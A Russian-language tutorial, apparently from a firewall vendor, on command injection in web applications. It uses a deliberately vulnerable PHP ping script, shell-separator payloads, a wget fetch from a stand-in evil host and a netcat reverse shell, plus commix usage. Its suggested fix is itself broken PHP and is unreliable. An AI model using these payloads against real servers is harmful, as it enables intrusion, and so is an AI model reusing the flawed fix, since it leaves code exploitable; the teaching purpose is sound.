Уязвимость «внедрение команд» позволяет выполнять команды на уровне операционной системы. Относится к разновидности инъекций, к которым относятся также SQL-инъекции, межсайтовый скриптинг (XSS), PHP-инъекции и большое количество других инъекций и их разновидностей. Инъекции являются одним из самых распространенных классов уязвимостей согласно классификации OWASP Top 10.
При разработке веб-приложения может быть реализован функционал, позволяющий пользователю взаимодействовать с операционной системой веб-сервера. В результате чего не нужно писать новую программу, а просто передать команду с дополнительными опциями в систему и отображать результаты на сайте. Тем не менее, подобные возможности потенциально приводят к уязвимостям, которые возникают, если пользовательские данные в запросе к веб-приложению никак не фильтруются. Используя эту уязвимость, атакующий может получить чувствительные данные:
Файлы паролей операционной системы;
Конфигурационные файлы операционной системы;
Исходный код приложения.
А также полностью скомпрометировать веб-сервер со всеми исходящими из этого последствиями.
Статья носит информационный характер. Не нарушайте законодательство.
Для примера реализации веб-приложения с уязвимостью Command injection был взят следующий пример:
<?php
if (isset($_GET["ping"])) {
echo '<pre>';
$cmd = 'ping -c 10 ' . $_GET["ping"];
passthru($cmd);
echo '</pre>';
}
?>
Пользовательский ввод принимается через GET-параметр ping и подставляется в соответствующую строку, в качестве аргумента при выполнении команды операционной системы.
Поиск уязвимости
Ручной поиск
Как мы уже знаем, реализация подобного функционала позволяет выполнять команды ОС и чтобы найти уязвимость, тестировщику достаточно подставлять эти самые команды в параметры запросов. В качестве примера будем использовать тестовое веб-приложение, функциональный кусок кода которого мы написали выше.
В параметре ping пользователь передает ip-адрес или доменное имя сервера, доступность которого он хочет проверить. В случае с yandex.ru веб-приложение формирует команду:
$ ping -c 10 yandex.ru
Операционная система выполняет команду, а результат отображается на странице веб-приложения. Однако, нам необходимо не просто выполнить команду проверки пинга, а что-нибудь по-интереснее, например, команду ls для просмотра содержимого текущего каталога. Но если мы просто так ее добавим в команду вместо ip-адреса, то желаемого результата не получим, поскольку веб-приложение сформирует команду:
$ ping -c 10 ls
Получается, нам необходимо каким-то образом написать команду ls в поле для ввода ip-адреса, чтобы он обрабатывался отдельно от команды ping.
Для этого нам понадобится видоизменить вводимые данные и привести к следующему виду:
yandex.ru; ls
Теперь веб-приложение отправит в ОС уже 2 команды, а результат будет отображаться на странице веб-приложения:
$ ping -с 10 yandex.ru; ls
Если необходимо вывести результат только команды ls, то первую команды можем перенаправить в /dev/null - так называемое пустое устройство в системе UNIX, куда записать можно любой объем данных:
yandex.ru > /dev/null; ls
Есть и другие варианты, например:
cmd1; cmd2 - последовательное выполнение cmd1 и cmd2;
cmd1 | cmd2 - выполнит команды, используя pipeline или конвейерное выполнение;
cmd1 || cmd2 - тоже самое, только cmd2 не будет выполнена, если выполнится cmd1;
cmd1 && cmd2 - cmd2 выполнится только в том случае, если выполнится cmd1;
cmd1 & cmd2 – выполнение обеих команд (работает только в ОС Windows).
Не всегда для атакующего будет всё просто. Иногда веб-приложение может быть настроено так, что не будет выводить результаты выполнения команды, а какой-нибудь обобщенный результат типа: «Успешно» или «Выполнено». В этом случае все еще можно определить наличие уязвимости и эксплуатировать ее, используя Blind Command injection:
yandex.ru && sleep 10
Если уязвимость присутствует, то веб-приложение отработает с таким же результатом, как и раньше. Вот только ответ придет с задержкой в 10 секунд. Похоже на эксплуатацию Blind SQLi.
Еще один метод - файловая эксплуатация Command injection. Метод может быть применим в тех случаях, когда слепая эксплуатация с помощью sleep не дает должного результата. Файловая эксплуатация основывается на написании команды, которая заставит тестируемый веб-сервер обратиться к какому-нибудь удаленному серверу и скачать с него файл, после чего можно проверить наличие файла на сервере.
yandex.ru > /dev/null; wget http://some.evil.site/evil.txt; ls -la
yandex.ru > /dev/null; mv evil.txt evil.php; ls -la
Но такой вариант не сработает, если сервер настроен правильно и запись в текущую директорию будет ограничена. Но если в конфигурации сервера все же допущены ошибки, то атакующий может получить как минимум это:
В другом же случае мы можем получить шелл-доступ к серверу. Для этого достаточно будет указать команду:
yandex.ru > /dev/null; nc -e /bin/bash 192.168.0.108 4455
Автоматизация
Для автоматизации процесса поиска и эксплуатации уязвимостей существуют различные инструменты. Но сегодня рассмотрим только один из них.
Commix
Домашняя страница
Инструмент для автоматизации поиска и эксплуатации уязвимостей Command injection. Написан на языке Python и позволяет искать уязвимость во всех типах запросов.
Основные параметры:
-u - URL веб-приложения;
--data - данные для POST-запроса;
--cookie - установка cookie, если требуется веб-приложением;
--headers - добавление пользовательских заголовков запроса, если требуется;
-p - тестируемый параметр.
Команды получения информации о системе:
--current-user - получить текущее имя пользователя;
--is-root - проверить, имеет ли текущий пользователь привилегии root;
--is-admin - проверить, имеет ли текущий пользователь привилегии администратора;
--sys-info - информация о системе;
--users/passwords - системные пользователи и их пароли (если возможно);
--all - получить все вышеперечисленное.
Команда для быстрого запуска:
# commix -u http://site.test.lan/test.php?ping=
После открытия псевдо-терминала можно выполнять дополнительные действия, например, получить реверс-коннект к атакующей машине или "поднять" порт для подключения к серверу извне:
Попробуем создать реверс-коннект. Выполняем команду reverse_tcp и заполняем данные. Синтаксис команд здесь схож с Metasploit-Framework:
Выбрав первый пункт мы можем запустить соединение через утилиту NetCat или любым другим способом, выбрав соответствующее меню.
Теперь протестируем инструмент, защитив веб-приложение с помощью Nemesida WAF.
Для начала воспользуемся бесплатной версией, которая работает на основе сигнатурного анализа. У такого подхода есть существенный недостаток - база сигнатур находится в открытом доступе и злоумышленник, используя ее, может составить запрос, который позволит обойти защиту. В нашем случае инструмент смог провести эксплуатацию уязвимости и WAF заблокировал не все атаки.
Теперь протестируем инструмент, подключив модуль машинного обучения Nemesida AI MLC. Все попытки эксплуатации уязвимости были заблокированы.
Но протестирован только обычный вариант атак, без дополнительных опций. В состав инструмента включены скрипты, с помощью которых можно изменять запросы для обхода средств защиты. Список доступных скриптов можно посмотреть командой:
# commix --list-tampers
На выбор у нас несколько сценариев:
По очереди используем каждый из сценариев и смотрим удастся ли теперь обойти защиту. Модуль машинного обучения Nemesida AI MLC успешно определил подозрительные запросы, отсекая любые попытки эксплуатации уязвимости.
Заблокированные запросы смотрим в личном кабинете:
Противодействие
Существует несколько методов, гарантирующих безопасность веб-приложения от наличия уязвимости Command injection и предотвращающих выполнение произвольных команд:
Для реализации функционала выполнения команд ОС через веб-приложение рекомендуется использовать эквивалентные команды. Например, в PHP для выполнения команд ОС разработчик может использовать функцию exec(). Однако стоит помнить, что функция также не является полностью безопасной, поэтому в качестве дополнительной меры защиты желательно производить фильтрацию вводимых пользователем значений. Для этого можно использовать функцию escapeshellcmd(), которая будет экранировать символы, которыми пользователь может воспользоваться для эксплуатации Command injection.
Фильтруйте входные значения. Иногда бывает так, что эквивалентной функции в используемом язык нет, и остается реализовывать ее самостоятельно. В таком случае тоже необходимо использовать очистку ввода перед передачей значения команде оболочки. В нашем случае можно прибегнуть к фильтрации входных значений и проверке являются ли пользовательские данные ip-адресом.
<?php if (isset(filter_var($_GET["ping"], FILTER_VALIDATE_IP))) { echo '<pre>'; $cmd = 'ping -c 10 ' . $_GET["ping"]; passthru($cmd); echo '</pre>'; } ?>
Белые списки. Белые списки более безопасны т.к. с их помощью разрешается для использования только определенный набор символов. Все остальные символы запрещены. Использование черных списков не рекомендуется т.к. злоумышленники все равно найдут способ его обойти. Если все же есть необходимость использования именно черного списка, то в этом случае необходимо тщательно фильтровать применение таких символов как: {} () <> & * '| = ; [] $ - # ~! . ”% / \: +,`
Используйте средства защиты веб-приложения, например, WAF. Разумеется, нет ничего безопаснее чистого и правильно написанного кода, однако и лишней рекомендация в этом списке явно не будет.
К тому же, об этой и других уязвимостях вы можете узнать подробнее на наших курсах и закрепить полученные знания на практике.